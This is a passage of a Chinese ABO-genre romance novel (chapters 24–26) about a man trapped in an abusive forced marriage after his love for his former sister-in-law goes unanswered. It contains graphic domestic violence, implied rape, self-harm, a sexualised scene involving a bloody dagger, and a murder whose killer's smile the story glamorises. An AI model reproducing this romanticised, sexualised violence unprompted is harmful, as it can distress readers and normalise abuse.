周安娜还想说,却注意到少年神情。
侧脸哀伤,泪光盈盈。
分明是听进去了,可又不肯承认的难过。
适时闭嘴,安娜把杯中酒推过去。
季成星一下捉住杯子,仰脖喝下去。刺激的液体冲撞喉咙,他呛咳不已。
咳嗽间,他模糊听见周安娜的喃喃自语。
“她如此维护盛莲,简直要把他视为他人不可染指的私有物。”
“可这次,为什么愿意放手?”
·
清晨,鸟声碎。
从一个思念的梦中辗转醒来,盛莲睁开眼,触目的是自己搭在枕边的手指。
手指上,指环过大的戒指晃荡。
他默默起身,默默取下。
取下以后,随意放在掌心。
还有五天。
这个念头闪现脑海,如鲠在喉。
他深深吸口气,掌心不合适的戒指如烫了手,猛地丢到地上。
然后,兀自发起呆来。
来电打断他的思念。
来电显示陌生号码,可又无比熟悉。
手指停留在拉黑的选项,迟迟狠不下心。
最终,盛莲选择接通来电。
“不要再打电话了。”
顿了顿,男人唤道,“维京。”
“为什么?”
电话那头,女人沉稳道,“哪怕你不是我嫂嫂了,那我们也是亲人……”
“可我,从来都不想跟你当亲人。”
说到这,盛莲笑了下。
心底是难受,也有快意。
“那我们也是多年朋友。”
随后,她改了口。
“那你,”
张开口,盛莲语气低柔,
“会爱上我这个朋友吗?”
“不会。”
“是现在不会,还是以后都不会?”
“盛莲,我不知道。”
男人抬手,盖住自己的眼睛。
很快,手指潮湿。
他长长呼出一口气,语调颤抖:“挂了。”
说着,男人挂断电话。
濡湿的指尖颤抖不已,停留在拉黑的选项。
半晌,盛莲呜咽一声,丢开手机。
到了这个地步,到了这个地步,
他也只能删去女人的号码,舍不得拉黑她。
那晚的事,其实很简单。
锁上的房间被打开,有人想要强迫Omega。
而女Alpha去而复返,暴打来人,再拖出幕后黑手李中仁,一脚踹他身上。
“盛莲原本就不是什么好货!”
“他想爬上你的床,怕是想了很久了!”
就这样,所有的谜底,被李中仁掀开。
女人的目光落在男人苍白的脸上。
“嫂嫂?”
她疑惑道。
面容苍白的男人,掠过滚地哀嚎的李中仁,看着面露疑惑的女人。
她表情不通情爱,对于李中仁说的答案并不相信。
现在,李维京需要他的否认。
可是。
“如果,他说的是真的呢?”
潘多拉魔盒,就此被打开。
到现在,盛莲已经忘记自己当时是什么心情。
可能不甘、委屈、饥渴难堪吧。
为了这份心的饥渴,他毁掉了那平静。
盛莲想,维京,不所有人一定会觉得自己很蠢。
一辈子不说,以长辈的身份默默待在维京身边,不好吗?
那一点都不好。
面对维京,他时常觉得自己是个扇贝,黏腻柔软的贝肉张合,底下蠕蠕翕动,漏出湿软的嫩肉、稠腻的汁液来。
何止是心的饥渴,他整个人都……
终于,为了这欲望,他走向了毁灭。
手指按在语音键上,久久没有松开。
想说的,却已经说不出来。
垂眸想了许久,李维京开口。
“祝你日后幸福,盛莲。”
松开,语音轻飘飘地飞向对话框。
没有回应。
女人也不强求,新的聊天窗蹦出来。
是季成星。
“我姐安娜说,最近想去冰岛看极光。”
“李维京你去不去?要去就一起去。”
李维京直接谢绝。
“不了,我要处理这边的不动产。”
“……你真要断舍离到这种程度啊?卖掉这里房子、地皮等不动产,彻底离开南城?”
季成星的聊天框越发频繁,似乎说了很多。
女人的手指按在上面,滑动了下,看也不看,直接删除。
她跟盛莲的事,不足为外人道也。
李维京返回与盛莲的聊天框,有了新的回复。
【谢谢,再见。】
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·
雨季降临。
夏日的玫瑰花树枝叶摧折,碾落成泥。
哐!当!
玻璃窗被打碎。
大片大片的碎玻璃,混着雨水碎在地板。
男人弯腰,一把抓住大块玻璃,用尖锐的一面对准来人。
风大、雨大,开窗的白色纱帘甩动,像是一只只鬼魅。
没有开灯的客厅,男人的眼神亮如鬼火。
“你再过来,我就杀了你。”
说这话时,盛莲的语气过于沉稳。
来人轻笑声,试着打哈哈过去。
“我们都订婚了,来这一出有点刺激过度哦。”
他脚步往前一挪,盛莲眼中鬼火更甚。
想也不想,男人把玻璃块比划到自己的脖颈。
“不要过来。”
他不喊不叫,只是警告。
玻璃染上鲜艳的红色。
意识到是血,来人腿先软了,恼羞成怒之下破口大骂起来。
“艹!玛德是你答应嫁给我,我才勉强愿意资助你母亲的医药费!”
“现在翻脸不认人!都老男人了,装什么贞洁烈男!”
风雨飘摇,雨声呜咽。
面对这般侮辱,盛莲轻轻笑了。
他取下比着的玻璃块,再次用尖锐的那面对准来人。
盛莲慢慢上前,幽然如鬼火的眼,看着来人恐慌到惊惧的脸越发清晰。
看着美貌男人脸上挂着诡异的笑,边怪笑边走上前,手掌滴滴答答流着鲜血。
来人脸上再也挂不住,怪叫着扭身逃走。
举着玻璃走到门口,看着楼道邻居探头探脑,盛莲没有说话,只是默默关上门。
一关门,他就靠着门慢慢滑落,手上松开的玻璃应声而碎,跌成好几块碎片。
盛莲不管不顾,一屁股坐在门口。
他抬起手,脸埋在全是血水的手掌。
迟来的疼痛,席卷掌心。
愈发强烈的痛,来自心脏。
男人拢好刚才被扯开的衣服,摸了一把挣扎到凌乱的头发。
面上是血、或是泪,他都无所谓了。
他只是抱住自己。
两相交融的痛楚让他浑身颤抖,如摇摆的不倒翁。
窗外的风吹进来,呜呜咽咽,而在这个雨天,男人嚎啕大哭起来。
“没有了、没有了……”
他反复念叨着。
还有五天。
没有五天。
五天以后,他不用嫁给陌生人。
可是。
维京已经把他拉黑了。
是在今天上午,盛莲发现聊天框里,他已经不再是她的联络好友。
为此他彻底发了疯,始终隐忍的订婚关系也不要了。
最初,他答应这个订婚,是因为那晚的告白。
而李维京呆了很久,最终只是说:“谢谢。”
两个字,让盛莲如坠冰窖。
而随后吴翠拉来她远房亲戚,撺掇盛莲嫁给他。
她是为了钱,那远房亲戚是为了盛莲的美貌,他们共同的说辞是那晚的事算是丑事,怎么也要掩盖下去。
盛莲那隐秘而悲惨的恋情,变成了他们口中见不得人的丑闻。
又听说医院里的母亲状况不好,需要十几万,种种生活重压,男人浑浑噩噩起来。
不知怎地,他点了头。
也许还是在期待李维京给自己一点回应。
可是……
李维京给的回应,怎么也不是他要的那种。
一步错,步步错。
无所谓了。
男人哭累了,慢慢爬起来。
简单包扎了下,他没有看客厅窗户处的狼藉,踉跄摇晃着跌回卧室的床褥。
屋外风雨骤大。
然而,男人睡得昏沉。
他似乎做了梦,梦到李维京。
隔壁邻居的新闻播报模糊传来:“这是本市二十年来最大的雨季……”
满屋潮湿。
睡着的男人身体蜷曲着,手掌慢慢往下摸。
受伤的手指不灵活,戳着难受。
简单包扎的绷带隐隐渗血。
梦里,李维京笑着告别。
屋内慢慢弥漫着腥甜的味道。
肉//欲、血迹交织。
做着梦,盛莲模模糊糊地想,母亲的治疗费,还想得出办法吗……
一瞬,他不想醒来。可想到醒来要去见维京男人又积蓄起一点勇气。
他想,这次要说清楚。
而那个她,也许明天回来,也许永不回来!
25. 倾城
梅雨季节,雨纷纷。
淅淅沥沥的雨,包裹着一座座城市孤岛。
南城的梅雨,潮湿、闷热。
置身于其中,不能敞开呼吸,更不得解脱。
想到这,李维京笑了一下。
她很少多愁善感,现在却被大雨颠覆了理智。
打着伞,她来到玫瑰花树这里。
自己送的玫瑰花树,已经凋零;风花纷纷扬扬,玫瑰呈现枯萎的灰。
手机铃响。
是安娜提醒她航班行程将近。
挂了电话,李维京执伞转身,脚步一顿。
淅淅沥沥的微雨,男人没有打伞,濡湿的额发、鬓角贴在脸颊,分外可怜。
他迎面走来,那双美丽的眼睛低垂,避开李维京。
两人擦肩而过。
李维京扭身,看见他蹲下,手挑拣着零落在地的玫瑰花瓣。
“这还有意义吗?”
面对背后冷冷的询问,男人背脊一僵,沉默。
他只是攥紧手中凋零的花瓣。
“你要不要跟我走,盛莲?”
突然,李维京问道。
淅淅沥沥的雨,期间隔着男人长久的沉默,像是一堵墙。
“以什么名义跟你走……”
“如果你不爱我,那么走不走,又有什么关系。”
良久,男人开了口。
他声音细弱,染上雨季的悲哀。
久久凝视那个背对的身影,李维京收回最后一眼。
“我明白了。”
说完,她转身离去。
渐行渐远的脚步声,雨水打湿了男人的眼眶。
再听不见脚步了,男人猛地转头,看见一把雨伞伫在地面,而打伞的女人已经离开了。
他们都知道,这是最后一面了。
·
两年后。
砰的一声,门被打开,楼道很快响起打骂。
拳头砸在皮肉的声音,闷闷的,掩盖在高亢的骂声里。
“个贱、货!”
“不给睡、也不肯卖!”
各种污言秽语喷薄而出,回荡在楼道里。
楼道的门,悄悄开了数扇。
隔壁是新搬来的祖孙四口,最小辈的少女偷偷开了丝门缝,往外窥探。
首先映入她眼帘的,是双白嫩的脚。
圆润脚趾蜷缩着,像是莹白的花朵。
拳头一下又一下,砸向倒地的单薄身体。
男人抱住头,偶尔闷哼几声。
比起他忍痛无趣的呻///吟,施暴者骂得更难听。
“给你妈花钱治病花了几十万,结果死了!”
“死了也就死了,结果你也不给艹,什么玩意!”
污言秽语充斥整个楼道。
新来的女主人听不下去,关了门。
过了好一会儿,外面的打骂停下来,而窥探的门一扇扇关上。
施暴者接了电话,忙着去打牌议生意。
他掏出裤兜里的湿巾,仔细擦了擦带血的拳头、指骨,再随意丢下。
啪的一下,带血的湿巾糊在倒地的男人脸上。
骂了句小贱货,施暴者哼着歌离去。
下楼的脚步声渐渐远了。
躺了很久,地下趴着的男人勉强撑手,扯下糊脸的湿巾,摇摇晃晃地站起来。
身上挂着破烂白衫,抖抖索索的,像是眼泪。
男人只是垂着眼,脸上是习惯忍耐的漠然。
扶着楼梯扶手,他颤巍巍地走上楼。
走到家门口,盛莲轻轻关上门。
脚崴了,身上的疼痛更是如衣服上的皮鞋印,挥之不去。
盛莲扶着墙壁,慢慢摸到洗浴间,弯腰找出家用医疗箱,褪去衣衫。
身体紫中带青,瘀黑好几块。
四个月前拍CT,说是胸骨骨折、膝盖破裂。
面对医生激烈的询问,这份关怀盛莲无言以对,只能偷偷逃走。
后来,无论怎么挨打,他再也没去过医院。
也许自己活不久了吧。
男人漠然地想。
他撬开家用医疗箱的底层,有窄窄的夹层,里面躺着一张银行黑卡。
是李维京赠他的银行卡,里面是她卖掉南城所有不动产的一大笔财富。
他把银行卡拿了出来,贴在唇边,亲了亲。
“生日快乐,维京。”
盛莲喃喃自语。
如果他真的要死,也不能是今天。
因为今天,是维京二十六岁的生日。
·
雨夜寂寥。
一整天的雨。
骨头被泡酥,软绵绵的。
下楼时,季成星有一搭没一搭地刷着手机,到了楼门口,撑伞往外走,然后脚步顿住。
“啊是你,盛莲?”
不远处的路灯,站着的男人没有带伞,微雨打湿头发。
灯下,盛莲的黑发湿发镀了层光。
他憔悴的脸庞,与这模糊的晕光相辅相成,像是蒙尘的珍珠。
季成星暗暗磨牙。
连他也不得不承认,盛莲人如其名,美貌光耀万千,永不褪色。
面对眼前带些敌意的少年,男人略略点头,欲言又止。
美人的目光往上,落在楼上某栋大平层的玻璃。
季成星已然明白他的来意。
没趣地转了下伞,少年不情不愿地开口:“别看了,李维京的房子已经卖给我了。”
“我知道。”
“去年,我已经来过了。”
少年捏住伞柄,睁大眼:“那你还来?”
“守在这里好假,你还不如去找李维京。”
“她不是托我表姐安娜把相关的钱都给你了嘛。”
盛莲艰涩地笑了笑,艰涩地开了口:“今天来,就是拜托你把银行卡还给她。”
“去年来,我没找到她。”
“你当然找不到她啦。刚才我都说了,她早就卖掉南城所有的不动产了。”
季成星不解道。
盛莲再次朝他笑了笑,仰面看着楼上大平层的所在。
只是看着,已然神情怀念。
少年明白了,这个无比美丽的男人,以这种隐秘的方式思念着李维京。
一瞬,他觉得男人很可怜。
转了转手中的伞柄,季成星忽然道:“你应该去找她。”
一年前,佛得角。
位处西非的大小岛屿,组成这个不为人知的偏僻小国。
“我不会爱人。”
在这偏远的陌生国度,女人吐露过一次心事。
面对风尘仆仆而来的季成星,也许是为了让这少年Omega死心,李维京提起盛莲。
“嫂嫂他……抱歉,盛莲他说爱我的时候,比起不相信、怀疑,更多的,我是震惧。”
“对,震撼、又恐惧。”
“因为第一时间,我在憎恶他。”
“看着盛莲,我冒出来的想法:你别说了,你在毁灭我现在的生活。”
“没想到吧?那时候,我只想要他闭嘴。”
“是为了这个想法,我感到震惧。”
女人的目光望向这陌生的土地,海面深邃黑暗,不见光。
“对于盛莲,怜悯、克制等情绪,是在那想法之后。”
“如果,我们只是相依相靠的亲人就好了。”
她淡淡说着,海面深处,涌动着不见底的波涛。
听到这里,盛莲还是笑了笑。
只是这个笑走了样,嘴角下撇,眉头紧皱,眼中盈着水光,像是随时要哭出来。
“你告诉我这些了……我更不能去找她了。”
男人轻声说道。
“那也比你被打死好吧!”
季成星脱口而出。
南城很大,但投资圈不大,各路消息掌握在安娜这种巨富手中。
从安娜口中,季成星得知盛莲现在过得很不好。
“盛莲他被迫嫁给现在的丈夫,过得很糟糕。”
周安娜感慨万千,但叮嘱他,这些事不要告诉李维京。
在彼时,季成星答应。
可看着男人眼眶的青紫、嘴角的淤红,少年终是不忍。
“离开现在的丈夫,去找李维京。其实她对你还有亲情,她会解决这一切的。”
他快速地说道。
微雨纷飞,男人摇头。
“一直以来,我都是靠着维京的怜悯活着。”
说着,他眼睛里涌动着春日繁花,美到令人屏息。
“可她不爱我。”
“那我在哪里,都没有关系。”
在很久以后,季成星回想起这个所谓的“情敌”,会想起他最后的微笑。
那种美丽盛大到即将开败。
开到荼蘼花事了。
·
雨季蔓延。
砰的一下,盛莲倒地。
像是开始的哨声,拳头忙不迭地砸下来,砸在他身上。
被打得疼到恍惚。
痛苦与精神都即将抽离这具肉///体。
恍惚间,盛莲会想起从前。
维京问过他,要不要跟她走。
可那时,盛莲的母亲躺在ICU,一天花费几千上万,他不敢走。
更悲哀的是,他从不敢言明这件事。
连他救治母亲,他都央求吴翠替自己保密。
哪怕盛莲知道,这会成为自己离不开李家的把柄。
或者,跟维京说?
“维京,其实我母亲没失踪。她重病护养的花费,都是我在出。”
那样,他会收获维京什么样的眼神。
也许怜悯、也许诧异,但都会谴责。
“你自救不暇,还要背负你那对垃圾父母?”
幻影中,出现李维京的身影,她说着话。
他无法辨认真假。
或者说,盛莲不敢赌。
“不行。盛莲他很好,但父母人品太差。”
曾几何时,维京的祖母说过。
用了许多年,盛莲渐渐明白老祖母的良苦用心:她不想他迈入吴翠挖好的火坑。
可这件事也让他明白,亲生父母是个洗不掉的污点。
仅凭这点,自己就配不上李维京。
剧烈的疼痛从手掌传来,皮鞋跟狠狠踩住他的手。
地上玻璃杯的碎渣,尽数扎进手里,白皙手掌血肉模糊,像是一团即将融化的红白雪糕。
肿胀的手掌握不住东西,银行卡掉落。
手指摸索着,指尖按捺上面,然后被施暴者不费力地捡走。
施暴者弹了弹银行卡,抖落沾染的血迹。
“这就是李维京给你的银行卡?”
“早给我不就好了,至于挨今天这顿打?”
“哎别倔。”
拿到银行卡,施暴者心情很好,蹲身抬手,想要拍拍男人饱满的臀。
手举起一半,忽然放下,“哎密码多少?”
见倒地的那人沉默,施暴者啧了声,
“连你妈住院,这笔钱你都没动一分啊盛莲。”
“还、还给我……”
说着,盛莲翻了下吐出一口血沫,血色淹没玻璃碎渣。
他抬了下手,无力摔落玻璃渣里。
拿了卡,施暴者一时也不着急了。
他眼眸往下,看见男人敞开的锁骨。
初次见,男人衬衫纽扣扣到严实,直让人盯着他那腻白修长的颈。
而现在,玻璃渣里,男人衬衫被撕裂,裸露出锁骨及以下的部位,圆润的肩膀泛着丰盈的光。
舔了舔嘴唇,施暴者一时意动。
咔哒
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一声,皮带解开。
听到这声音,被打在地上的盛莲身体痉挛得抖动几下,嘴里模糊说着不要。
拎起他一条胳膊,连拖带拉的,施暴者拽起盛莲半边身子。
然后,手抽下皮带,松动的黑色纽扣弹到男人的脸上。
一场无可避免的施暴。
“身上太脏了,让我洗洗。”
盛莲长睫垂落,微颤。
他语气低微,不仅是被打,也是被这两年糟糕的生活磋磨得不成样。
料定他逃不掉,也嫌弃地面玻璃渣伤人,施暴者松手,任由男人跌进玻璃渣里。
盛莲痛得蹙眉,却连喊叫都没了力气。
“那你快点,我回卧室躺着等你。”
施暴者说道,姿态施施然。
眼前黑点不断闪现,如雨中涟漪。
可身上阵阵痛楚,不会如雨水般无痕。
更糟糕的是——
攒了些许力气,盛莲勉力爬起来。
客厅的窗,玻璃仍是破损。
冷风灌进来,夹杂雨中泥土的腥。
又是一个雨天。
太阳穴突突,在视线中直直炸成一个又一个的黑点。
盛莲扶着墙,慢慢走到卫生间。
破窗吹来雨腥味,信息素也在悄然生长,如墙角滋生的苔藓。
在这个最不该的时候,盛莲进入了发、、情期。
卫生间狭小的空间,弥漫着他柔软甜蜜的信息素。
施暴者是个Beta,从来闻不见他的信息素。这也是盛莲能选择他的原因。
其实李维京走之后,盛莲想,自己选谁都一样。
那晚,他不是去还银行卡,是想以此为借口再去见维京。
虽然男人知道,这也不过是妄念。
窄小的卫生间,信息素快逼疯了盛莲。
他撩起衣服,叼住衣角,想要自己解决。
没关系,他可以的。
这两年他都是如此,不需要其他人来……
可维京,不会回来了。
维京她,不会回来了。
这个念头如闪电般错乱地搭上男人的神经,他看着镜中欲哭的脸,忽然一摸脸,弯腰找到家用医药箱藏匿的刀具。
一把雕花匕首。
匕柄镶嵌古波斯的红宝石,是维京去阿富汗带回来赠给他的礼物。
两年来,盛莲都小心翼翼藏匿起来。
现在,他握住它。
打开卫生间的门,走进卧室的房间。
男人握紧它。
用一把匕首守护自己。
梅雨时节绵长,像是永不离去。
隔壁开着电视听着歌,歌曲撕心裂肺。
“杀了他!
“顺便再杀了我吧!”
“拜托你了*!”
歌手嘶吼着,某个房间也有濒死的吼叫。
很快,湮没在这漫长的雨季。
雨淅淅沥沥,水滴啪嗒一下,砸在楼下阳台搭建的雨棚。
男人打开房间,手抓着匕首。
他剧烈喘着气,眼前黑点不散,多得如地狱伸出的手。
被打得残损的身体似乎耗光最后一丝力气,咚的一下,他跪在地上,爬到沙发处。
噗的一下,匕首扎在沙发上。
红宝石闪烁,古朴的藤蔓纹路浸着血,格外魔魅。
盛莲大喘着气,他坐在地上,整个身体靠着沙发。
看着染血的匕首,盛莲像是看到心魔。
撑着最后的力气,他手脚并用爬上沙发,叼住衣角。
并拢的两腿分开,往下。
红宝石冰凉,男人忍不住低吟了声。
鼻息大喘,叼着衣角的齿随着动作用力咬着。
雨珠啪的一下,再次砸在楼下的雨棚。
而屋内,信息素砰的一下爆开,铺天盖地的甜蜜气味。
男人翻起白眼,咬着衣角的唇微张,一片湿红。
他雪白大腿沾染血迹,如匕首的纹路般,蜿蜒流下。
盛莲手往下探,湿红的唇摸上一抹腥味。
在这一刻,盛莲的神经也彻底断裂。
分外红的唇开阖,带起一丝腥臭的涎液。
“维京。”
这是男人最后的话。
·
后来,有位警官在日记这样写到:
“那个来自首的男人十分美丽。他唇分外的红,眼睛格外的亮,说到亲手杀了自己的丈夫,竟忍不住笑出声。”
“当时在场的人倒抽一口凉气,可男人只是笑着问:如果我上电视,国外电视台也会播放吧?
“听起来,他像是疯狂渴望以这件凶杀案闻名世界。”
加拿大。
待在咖啡厅的李维京无所事事,连散心都觉得没有意义。
她甚至考虑回国。
一则午间休憩时间播放的电视新闻,吸引了她的注意。
“这是一起格外恶劣的凶杀案……”
随后出现了凶手的影像。
两三无聊看电视的人,瞬间被夺去眼球。
因为那个凶手,实在美丽。
看着眼前闪烁的镜头,戴着镣铐的盛莲眼睛不适,想要躲开。
“请问你不怕认识的人知道自己的罪行吗?”
有记者不依不饶地问道。
盛莲脚步微顿。
啊对,认识的人——维京。
维京会看到这次新闻吧。
想到这,盛莲张望一番,看见摄像头怼到自己面前。
他不熟悉镜头,却停下脚步。
然后。
想到远在天边的李维京,盛莲忽然一笑。
后世的媒体案例,把这一幕称为:美之恶魔的笑。
谁也不知道,那是盛莲对李维京最后的笑。
倾城一笑。
26. 第26章
一天星斗,只有一个月亮。
李家祖宅。
黑夜,江南庭院的景如水墨般淡去。然而,亮起的灯如新添的墨彩,沉默的画卷再次生动起来。
后院,风止亭。
李维京坐着,听着季成星说话。
“……之前我去市中心医院探病,会遇到盛莲。”
“他去的次数不频繁。但是,有一两次足足待了两三天。”
按照少年说法,他因为长辈身体不好时常去医院探病,遇到盛莲多次。
女人沉吟片刻,杏仁眼抬起时,情绪变化不大。
“这说明不了什么。吴翠经常会给嫂嫂他派遣些难活。”
她语气平静,并不会因为旁人的话语当面怀疑盛莲。
“好吧。”
季成星也没多说什么,也坐下,神情闷闷。
到底是少年人,他忍不住脱口而出,“你是不是觉得我挑唆你和他关系?”
“如果被挑唆,只能说明我们彼此的关系不甚牢靠。”
李维京答得平静,忽地一笑。
她目光往上,看到风止亭的石碑牌匾。
风止二字,是当年祖父在世提笔写就。
他衷心希望,人心纷扰,导致风波不断,后世人能停歇心中风暴,走向平静。
祖父的心愿,跟世界和平一样,美好、但无法实现。
人心纷扰不堪,怀疑背叛乃常态。
正如这一刻,女人心中升起的疑窦。
盛莲说他寂寞,需要称赞所以才去做网黄。然而,从后续那次跟踪来看,这是谎言。
他缺钱。
可是,他不要李维京的钱。
自相矛盾。
时常去医院,会是个很好的突破点。
但是侦探没查到,说明他去的次数并不频繁。
“很能藏啊。”
女人感慨。
一旁坐着的季成星看着她,灯火模糊中,女人眉目亦模糊。
唯有杏仁眼冷淡,周遭气质冷清。
齐刘海如埃及艳后的造型,带点异域的疏离。
高腰黑色西装裤,极简的白色衬衫,在灯光里沁成哑光,有着丝绸的凉意。
女人低头,不徐不疾地解开手腕的衬衫扣,皓腕从桎梏中脱出。
修长指节,动作优雅,致命诱惑。
一瞬,季成星呼吸仿佛也凝滞。
偏巧李维京抬起头,微扬眉,“看什么?”
看你好看。
这般孟浪的词,季成星这种教养极好的少年Omega说不出口。
他支支吾吾地说不出话,眼角余光闪过一抹黑影,还没看清楚那抹黑影,李维京已经站起来。
“嫂嫂?”
那抹黑影如春风入怀,往这里扑了过来。
亭角挂着壁灯,在风中摇晃。
模糊的光亮在这个夜里,落在那人脸上。
季成星不由站起来。
来人衣领的纽扣被解开,露出纤白脖颈。光落在他锁骨上,覆着珍珠的冷光。
光洒在他面容,整个夜仿佛都亮了。
天啊,这般狼狈,还这般摄人心魂。<
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少年Omega不甘地握住拳头。
此时的盛莲,落在李维京眼中,又是另一幅模样。
他衬衫纽扣被解开,纽扣掉落,神情茫然狼狈,眼神匆匆,却反复来回看着女人和少年Omega。
微微张唇,又无措到说不出口。
“嫂嫂,怎么了。”
面对他的魂不守舍,李维京语气柔了几分。
闻言,盛莲再次张口:“我、我只是来看看……”
话才说到这,自觉毫无理由,他又闭了嘴。
李维京上前一步,盛莲即刻退后一步。
“盛莲。”
女人低柔地唤着他的名字。
他便没有再退,待在原地,任由女人过来。
探出去的手,在男人肩头上方,停了停。
“你先回去,季成星。”
李维京扭头,对身后的季成星说道。
季成星不想动,又没有理由,只能没奈何地依言离开。
确保少年不会回来妨碍,女人这才收回眼,将手轻轻放在男人的肩头。
没有抗拒。
她很满意。
接下来,假借醉酒冒犯,跟嫂嫂聊会他的秘密,把各种疑点摊开来说:网黄身份、瞒着所有人去医院探望这点……今晚,全部解决掉。
想到这,李维京笑了下,充满着运筹帷幄。
盛莲直愣愣地看着她,似乎不明白她笑容的意味。
“你喜欢那个Omega吗?”
猝不及防地,盛莲的问话打乱李维京所有的计划。